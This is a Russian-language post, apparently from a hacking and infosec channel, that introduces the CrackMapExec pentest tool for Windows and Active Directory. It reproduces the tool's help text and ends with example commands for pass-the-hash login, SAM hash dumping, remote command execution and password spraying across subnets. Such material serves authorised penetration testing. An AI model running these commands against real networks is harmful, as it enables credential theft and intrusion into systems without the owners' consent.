CrackMapExec
Life-Hack - Linux/Хакинг/Хакер/ИБ/OsintЭто швейцарский армейский нож для тестирования на проникновение в средах Windows/Active Directory. Инструмент имеет широкий спектр возможностей, от перечисления пользователей, вошедших в систему, и спайдеринга общих папок SMB до выполнения атак в стиле psexec, автоматического внедрения Mimikatz/Shellcode/DLL в память с помощью Powershell, дампа NTDS.dit и многого другого. CrackMapExec написан на Python, не требует установки дополнительных инструментов, имеет параллельную многопоточность и использует только нативные вызовы WinAPI для обнаружения сессий, пользователей, дампа хэшей SAM и т.д. Из плюсов можно отметить безопасность Opsec (двоичные файлы не загружаются для дампа учетных данных в открытом виде, внедрения шелл-кода и т.д.). Кроме того, имеется база данных для удобного хранения учетных данных. CrackMapExec умеет автоматически сопоставлять учетные данные администратора с узлами и наоборот, что позволяет легко отслеживать наборы учетных данных и получать дополнительную ситуационную осведомленность в больших средах.
Домашняя страница проекта: https://github.com/byt3bl33d3r/CrackMapExec
crackmapexec.py [-h] [-v] [-t ПОТОКИ] [-id CRED_ID] [-u [ИМЯ_ПОЛЬЗОВАТЕЛЯ [ИМЯ_ПОЛЬЗОВАТЕЛЯ ...]]] [-d ДОМЕН] [-p [ПАРОЛЬ [ПАРОЛЬ ...]] | -H [HASH [HASH ...]]] [-m MODULE] [-o [ОПЦИЯ_МОДУЛЯ [ОПЦИЯ_МОДУЛЯ ...]]] [--module-info] [--share SHARE] [--smb-port {139,445}] [--mssql-port ПОРТ] [--server {http,https}] [--server-host ХОСТ] [--server-port PORT] [--local-auth] [--timeout TIMEOUT] [--verbose] [--sam] [--lsa] [--ntds {vss,drsuapi}] [--ntds-history] [--ntds-pwdLastSet] [--wdigest {enable,disable}] [--shares] [--uac] [--sessions] [--disks] [--users] [--rid-brute [MAX_RID]] [--pass-pol] [--lusers] [--wmi ЗАПРОС] [--wmi-namespace ПРОСТРАНСТВО_ИМЁН] [--spider [ПАПКА]] [--content] [--exclude-dirs СПИСОК_ДИРЕКТОРИЙ] [--pattern [ОБРАЗЕЦ [ОБРАЗЕЦ...]] | --regex [РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ [РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ ...]]] [--depth ГЛУБИНА] [--exec-method {atexec,smbexec,wmiexec}] [--force-ps32] [--no-output] [-x КОМАНДА] [-X КОМАНДА_ PowerShell] [--mssql] [--mssql-query ЗАПРОС] [цель [цель...]]
Опциональные аргументы:
-h, --help показать справку и выйти -v, --version показать версию программы и выйти -t ПОТОКИ Установить количество одновременно используемых потоков (по умолчанию 100) -id CRED_ID ID учётных данных базы данных для использования в аутентификации -u [ИМЯ_ПОЛЬЗОВАТЕЛЯ [ИМЯ_ПОЛЬЗОВАТЕЛЯ ...]] Имя(имена) или файл(ы) содержащих имена пользователей -d ДОМЕН Имя домена -p [ПАРОЛЬ [ПАРОЛЬ ...]] Пароль(и) или файл(ы) содержащие пароли -H [ХЕШ [ХЕШ ...]] NTLM хеш(и) или файл(ы) содержащие NTLM хеши -m МОДУЛЬ, --module МОДУЛЬ Модуль полезной нагрузки для использования -o [ОПЦИЯ_МОДУЛЯ [ОПЦИЯ_МОДУЛЯ ...]] Опции модуля полезной нагрузки --module-info Показать информацию о модули --share ОБЩАЯ_ПАПКА Указать общую папку (по умолчанию: C$) --smb-port {139,445} Порт SMB (по умолчанию: 445) --mssql-port ПОРТ Порт MSSQL (по умолчанию: 1433) --server {http,https} Использовать выбранный сервер (по умолчанию: https) --server-host ХОСТ IP для привязки к серверу (по умолчанию: 0.0.0.0) --server-port ПОРТ Запустить сервер на указанном порту --local-auth Локальная аутентификация к каждой цели --timeout TIMEOUT Максимальное время в секундах для каждого потока (по умолчанию: 20) --verbose Включить вербальный режим
Опции для сбора учётных данных:
--sam Дамп хешей SAM с целевых систем --lsa Дамп секретов LSA с целевых систем --ntds {vss,drsuapi} Дампить NTDS.dit с целевых DCs используя указанный метод (drsuapi является более быстрым) --ntds-history Дамп истории паролей NTDS.dit --ntds-pwdLastSet Показать атрибуты pwdLastSet для каждого аккаунта NTDS.dit --wdigest {enable,disable} Создать/Удалить ключ регистра 'UseLogonCredential' включающий дампинг учётных данных WDigest на Windows >= 8.1
Опции для маппинга/перечисления:
--shares Перечислить шары и доступ --uac Проверить статус UAC --sessions Перечислить активные сессии --disks Перечислить диски --users Перечислить пользователей --rid-brute [MAX_RID] Перечислить пользователей брут-форсингом RID (по умолчанию: 4000) --pass-pol Дамп политики паролей --lusers Перечислить вошедших пользователей --wmi ЗАПРОС Выдать указанный запрос WMI --wmi-namespace ПРОСТРАНСТВО_ИМЁН Пространство имён WMI (по умолчанию: //./root/cimv2)
Опции для индексации общих папок:
--spider [ПАПКА] Папка для индексации (по умолчанию: root directory) --content Включить поиск по содержимому файлов --exclude-dirs СПИСОК_ДИРЕКТОРИЙ Директории для исключения из индексации --pattern [ОБРАЗЕЦ [ОБРАЗЕЦ ...]] Образец(ы) для поиска в каталогах, именах файлов и содержимом файлов --regex [РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ [РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ ...]] Регулярное выражение(я) для поиска в каталогах, именах файлов и содержимом файлов --depth ГЛУБИНА Глубина рекурсивной индексации (по умолчанию: 10)
Опции для выполнения команд:
--exec-method {atexec,smbexec,wmiexec} Метод исполнения команд. Игнорируется в режиме MSSQL (по умолчанию: wmiexec) --force-ps32 Принудительно исполнять команды PowerShell в 32-битном процессе --no-output Не получать вывод команд -x КОМАНДА Выполнить указанную команду -X КОМАНДА_ PowerShell Выполнить указанную команду PowerShell
Опции для взаимодействия с БД MSSQL:
--mssql Переключить CME в режим MSSQL. Если указаны учётные данные, то проведёт аутентификацию в отношении всех найденных БД MSSQL --mssql-query ЗАПРОС Выполнить указанный запрос в отношении БД MSSQL
CME поддерживает аутентификацию через SMB с помощью атак Passing-The-Hash с флагом -H:
crackmapexec smb <target(s)> -u username -H NTHASH
Дамп локальных хэшей SAM:
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --sam
Проверка на наличие вошедших в систему пользователей:
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --lusers
В следующем примере мы пытаемся выполнить whoami на целевом объекте, используя флаг -x:
crackmapexec smb 192.168.10.11 -u Administrator -p 'PASS' -x whoami
Перебор и распыление паролей:
crackmapexec <protocol> <target(s)> -u username1 -p password1 password2 crackmapexec <protocol> <target(s)> -u username1 username2 -p password1 crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes crackmapexec smb 10.0.2.0/24 -u ‘admin’ -p ‘P@ssw0rd'